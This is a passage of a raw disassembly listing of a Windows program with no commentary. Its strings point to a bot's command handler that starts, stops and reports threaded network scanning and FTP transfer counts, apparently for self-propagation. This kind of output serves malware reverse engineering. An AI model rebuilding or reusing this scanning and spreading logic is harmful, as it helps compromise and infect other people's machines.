[esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FBB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB80[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63A0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44767F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444438 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444438 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, off_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5EA1BD mov eax, dword_444438 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444440 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5EA1BD lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5EA1BD lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444438 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444438 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444438[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DC4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx call near ptr 77C3FA76h nop add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423296 ; 